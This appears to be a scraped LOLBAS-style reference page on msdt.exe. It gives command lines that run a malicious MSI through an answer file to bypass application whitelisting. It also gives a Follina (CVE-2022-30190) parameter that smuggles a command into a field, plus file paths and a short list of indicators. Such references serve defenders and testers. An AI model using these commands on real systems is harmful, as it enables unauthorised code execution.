01 / TRADECRAFT
3 examplesCommand reference
Execute1
EXAMPLE 01T1218
Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.
COMMAND
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUEAWL Bypass2
EXAMPLE 01T1218
Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.
COMMAND
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUEEXAMPLE 02T1202
Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.
COMMAND
msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"02 / ON DISK
Known paths
C:\Windows\System32\Msdt.exeC:\Windows\SysWOW64\Msdt.exe03 / DEFENSIVE INTELLIGENCE
3 resourcesDetection & indicators
REFERENCE IMPLEMENTATIONS
Code samples
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Nasreddine Bencherchali@nas_bench